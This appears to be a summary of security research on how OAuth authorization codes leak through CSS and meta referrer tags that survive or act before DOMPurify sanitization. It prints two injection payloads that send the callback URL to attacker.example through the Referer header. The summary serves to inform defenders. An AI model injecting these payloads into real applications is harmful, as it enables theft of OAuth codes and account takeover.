OAuth code leakage through CSS preserved by DOMPurify

After login, an OAuth provider redirects the user to a URL such as /callback?code=.... If that page renders attacker-controlled HTML after sanitizing it with DOMPurify, scripts are removed but inline CSS may remain. That CSS can leak the authorization code without executing JavaScript.

• CSS request modifier — Chrome 150 added referrer-policy() to CSS url(). An attacker can inject <div style="background-image:url('https://attacker.example/x' referrer-policy(unsafe-url))"></div>. The browser requests the image and includes the callback path and query string, including code, in the Referer header. DOMPurify preserves the payload because it keeps the style attribute and does not sanitize the CSS inside it.

• DOMParser side effect — The second technique used <meta name="referrer" content="unsafe-url"><img src="https://attacker.example/log">. On affected Chromium builds, the browser applied the policy from <meta> while parsing the HTML, before DOMPurify removed the tag. The remaining image then triggered a request whose Referer contained the callback path, query string, and OAuth code. This bug is tracked as CVE-2026-79185 and has been fixed.

The attack requires the application to render attacker-controlled data on the callback page, DOMPurify to preserve style, CSP to allow an external resource request, and the OAuth code to remain in the path or query string. Secrets placed after # are never sent in Referer. The researchers demonstrated the leakage mechanism, but not an end-to-end attack against a named OAuth provider.

Article: https://blog.voorivex.team/oauth-token-theft-after-dompurify-two-chromium-techniques